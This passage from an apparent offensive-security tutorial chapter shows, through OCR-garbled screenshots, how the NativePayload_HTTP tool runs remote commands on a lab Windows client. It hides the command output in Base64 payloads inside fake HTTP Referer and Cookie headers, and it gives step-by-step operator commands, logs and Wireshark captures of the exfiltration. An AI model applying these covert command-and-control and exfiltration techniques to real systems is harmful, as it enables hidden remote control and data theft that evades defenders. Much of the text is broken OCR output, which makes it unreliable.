Note: before command “@xrn” you should first use “@fhn” to enable Fake-Header.

Applications ~ Places ~ Terminal ~ Wed 10:16

root @oops: ~/Desktop/NativePayload_HTTP/After Pivot e ® 0
ayload HTTP.sh help “|Devices Help

.apache2:5toped . Command Prompt
.apache2. [/etc/apache2/20-02-2019.10-11-18.backup.apache2.conf]:Created
:Service.apache2. [/etc/apache2/apache2.conf] :Modified . _
:Service.apache2 :Restarted g>MativePayload HITP.exe —dumpcmd 192.168.56.1 88
:Server.Exfiltration.Mode:Started blished by Damon Mohammadbagher . Jan 2819 3
:Server.Defaultpage. [/var/www/html/default.aspx]:Created via HITP traffic by Simple Web Requests . (Client Side only>
: I Il J/ J
>] :Server. Fummandpage [/var/www/html/getcmd. aspx Creazed Started (Client Sided
>] :Server.Monitoring.log[/var/log/apache2/access.log]:Started 80

]:Client.IPv4.[192.168.56.102] :Detected 92.168.56.11 endbyHttp:Signal.Delay.Random:[128111:Started [2-28-2019 7:13
925168.56.%] )]egdhyHttg:Signal.Delay.Randon:[59892]:Started [2-28-2819 7:14

q . He 0 echo test s>1:Detecte

J:Client.IPv4.[192.168.56.102] :Detected ending.Cnd.output::SendbyHttp: :Delay: [12331:Started [2,20/2019 7:15:09 AN]

396D45354A775 1: :SendbyHttp: :Delay:[14861: :Ueh . Request .Baseb4: [/default .aspx
445D4579545E41: :SendbyHttp: :Delay: ::Web.Request .Baseb4: [Adefault.aspx
485A5@3249685 1= =SendbyHttp: :Delay ::Webh.Request.Baseb4: [-default.aspx
@cli 697F41: Sendhy“ttp--Delay [2532] Web.Request.EaseE‘l:[/rlefault.aspx]
92.168.56.11::8endbyHttp:Signal.Delay.Randon: [523651:Started [2-20-2819 7:1Y

q»

al:Clients.list:Show
-02-2019.10-13-57 IPv4:192.168.56.102 [Win:6.2.9200.0]

@ 192.168.56.102
@]:Target Host: 192.168.56.182
[i if @640n
dl :HTTP: :DumpedbyHttp: :Payload. base64:0n
[19 102] [BG4] : #@fhn

@1 :HTTP: :DumpedbyHttp: :Curl. Web. PEquE:t.fa«Eheader on
[192.168.56.102] [F.B64] :#@xrn
@] :HTTP: :DumpedbyHttp: Curl Web.Request. header. pa}load injection. [Referer]:On
11

echo test 6 ;)

1:[20-02-2019.10-15-085] :Exfiltration listening Mode Started by apacheZ Service

-02-2019.10-15-21 -B64-F-Re-> Cmd:[echo test 6 ;)]::[192.168.56.102] => test 6 ;)
11F.Re.B64] 21
Picture 30: NativePaonad_HTTP.sh and Payloads injection via Referer
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as you can see in this “Picture 30" | used these commands and “step 2" is “optional” always:

stepl: @ 192.168.56.102 interact to client with ipv4 192.168.56.102

step2: @64on setting on Base64 for payloads (optional)
step3: @fhn setting on Fake-Headers

step4: @xrn setting on payloads injection via “Referer”
step5: echo test 6 ;) setting command for client-side

finally you can see we have command output in server-side and these payload sent by client to server via “referer” HTTP Header
field.

Applications ~ Places ~ Terminal v Wed 10:18

root@oops: fvar/www/html

396D45354A7751:
445D45792545E41
4850503249685 1
697F41: :Sendhyl

22.168.56.11::5endbyHttp:8ignal.Pelay.Random: [523651:8tarted [2-20-2019 7:19

xfiltration listening

20-02-2019.10-15-21 -B64-F-Re-> Cmd:[echo test 6 ;)1: 5.102]1 => test 6 ;)

Picture 31: NativePayload_HTTP.sh and Payloads injection via Referer

as you can see in “Picture 31" these payload injected to HTTP Header via “Referer” field and you can see these payload in
apache log file. in the next Picture you can see what happened in HTTP Header by wireshark.
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| |tcp,stream eql

No. Time Source Destination Protocol Length Info
27 63.407179 192.168.56.1682 192.168.56.1 TCP 66 59365 — 8@ [SYN, ECN, CWR] Seq=0 Win=8192 Len=0 MSS=1460
28 63.407224 192.168.56.1 192.168.56.102 TCP 66 80 — 59365 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=14¢
29 63.407418 192.168.56.1682 192.168.56.1 TCP 54 59365 — 80 [ACK] Seq=1 Ack=1 Win=65536 Len=0
= 30 63.407554 192.168.56.102 192.168.56.1 HTTP 450 GET /default.aspx HTTP/1.1
31 63.407592 192.168.56.1 192.168.56.102 TCP 54 80 — 59365 [ACK] Seq=1 Ack=397 Win=30336 Len=0
32 63.423565 192.168.56.1 192.168.56.102 HTTP 803 HTTP/1.1 200 OK
33 63.482367 192.168.56.102 192.168.56.1 TCP 54 59365 — 8@ [ACK] Seq=397 Ack=750 Win=64768 Len=0
34 64.686076 192.168.56.1082 192.168.56.1 HTTP 450 GET /default.aspx HTTP/1.1
35 64.686420 192.168.56.1 192.168.56.1682 HTTP 803 HTTP/1.1 200 OK
Wireshark - Follow TCP Stream (tcp.stream eq 2) - MonitorPackets.trace Q@ ® 0 P

GET /default.aspx HTTP/1.1 E

Accept-Language: en-US;q=0.8,en;q=0.6 P Len=06

Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 =

Referer: https://www.google.com/search?ei=bsZAXPSqD&uids=5776ABE4874396D45354A775&q=d37X3d3PS&oq=aBd3d377b&gs_l=psy-ab. B Len=0
U (3......... ©....1..gws-wiz.IW6_Q =

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Host: 192.168.56.1

HTTP/1.1 2Zee 0K

Nata-: Wad 208 Coeh 2010 15-2@-14 CMT

32 client pkts, 3 server pkts, 5 turns.

, | | Entire conversation (3,435 bytes) - Show and save data as | ASCII > Stream |2 |5
: Find: Find Next
: BHelp Filter Out This Stream Print Save as.. Back % Close

Picture 32: Network traffic and Payloads injection via Referer
as you can see in “Picture 32" these payload injected to HTTP Header via “Referer” field.

Payload injection via “cookie” field in HTTP Headers and Commands:

As | mentioned in this chapter we can use “cookie” HTTP Header field as Payload for send Data to server. With this simple
command “@xcn” or “@xcookieon” you can do this by this tool also with “@xcf” or “@xcookieoff” you can disable this setting
too.

Note: before command “@xcn” you should first use “@fhn” to enable Fake-Header.

Places v [ Terminal ~ Thu 18:05 W env

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot 00 20121 [Running] - Oracle VM Virtu

Command Prompt

W 192.168.56.1 80

Requests , (Client Side only>

1:Client.IPv4.
Delay.Random: [27155]:8tarted [2-]
Delay.Random: [23465]:Started [2-]
. _ Delay.Random: [31398]1:Started [2-3
teract 192. '1:Detected
put::SendbyHttp:zDelay: [5010]1:5t]

2@81@1: :Uebh.Request . Base

H ! b4:
=[5247 bh.Request. b4:

.Request:
-Reguest.

Delay.Random: [185831:8tarted

-84-59 -B64-F-Co-> Cmd:[ipconfig | find "192.16 56.101] == IPv4 Addr B

1] [F.Co.B64

Picture 33: Network traffic an ayloads injection via cookie
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as you can see in the next “Picture 34" our Command output sent via Cookie by HTTP Traffic and these payloads are in apache
log file.

Applications ~ Places ~ Terminal ~ Thu18:26

Command Prompt
e.apach estar

r.Exfiltration.Mode:Started

r.Defaultpage. [/var/www/html/default.aspx] :Created

r.Commandpage. [/var/www/html/getcmd. aspx] : Created
ver.Monitoring.log[/var/log/apache2/access.logl :Started Requests . (Client Side only>

d 192.168.56.1 88

1:Client.IPv4.[192.168.56.101] :Detected
root@oops: ~
@interact 192.168.56.101 EOotHoops
@l :Target Host: 192.168.56.101
[

[
[ @fhn
1 :HTTP: :DumpedbyHttp: :Curl. fakeheader:0n
[ 1 @64on
HTTP: :DumpedbyHttp: : Payload.Reque :0n
[19 8 1[F.B64]: #@xcn
@] :HTTP: :DumpedbyHttp: :Curl eader.payload.injection. [C
F.Co 5
ipconfig | find

1:[21-02-2019.18-03-48] :Exfiltration listening Mode Started by apa

TPy4 Address
root@oops : ~#

21-02-2019.18-04-59 -B64-F-Co-> Cmd:[ipconfig | find "192.168.56.101"]::[192.168.56.101] == IPv4 Address : 192.168.56.
2 F BG4

Picture 34: Apache log file and Payloads injection via cookie

also in the next “Picture 35” you can see our payloads injected cookie value by wireshark.

Applications ~ Places * B8 Wireshark = Thu18:31

root@oops : /usr/local/bro/bin
root@oops : /usr/local/bro/bin#

+121-02-2019.18-03-48) :ExTiltration Listening Mode 5tarfed by apachez Service!

m:[393861:Started [2/51/2319 6:27
:Started [2,21.2819 6:28:02 PH]
eh.Request.Baseb4: [/default.
-Request .Baseb4: [/default.
-Request _Basebd:[/default.
.Bazebd: [rdefault . aspx]

m:[39118]1:8tarted [2/21-201% 6:28

Wireshark - Follow HTTP Stream (tcp.stream eq 3) - MonitorPack
21-02-2019.18-04-59 -B64-F-Co-> Cmd:[ipconfig | find "192.168.56.161"]::[192.168.56.101]
[192.168.56.101] [F.Co.B64] : #echo test 7 ;) - ;0=0.8,en;q=0.6
uUniqueTI IALEE7636449403E485A503249605&001
text/html, application/xhtml+xml, application/xml;q 9,*/*;q=0.8

[>]:[21-02-2019.18-27-28] :Exfiltration listening Mode Started by apache2 Service!

HTTP/1.1 2
Nate- Thn

kts, 4 se
Entire conver.
Find:

EBHelp Filter Out Thi
21-02-2019.18-28-28 -B64-F-Co-> Cmd:[echo test 7 ;)1::[192.168.56.101] = test 7 ;)

[F.Co.B64
Picture 35: wiresh nd Payloads injection via cookie

Note: this chapter-12 has two parts, to continue please read “Part2 of Chapter 12”.
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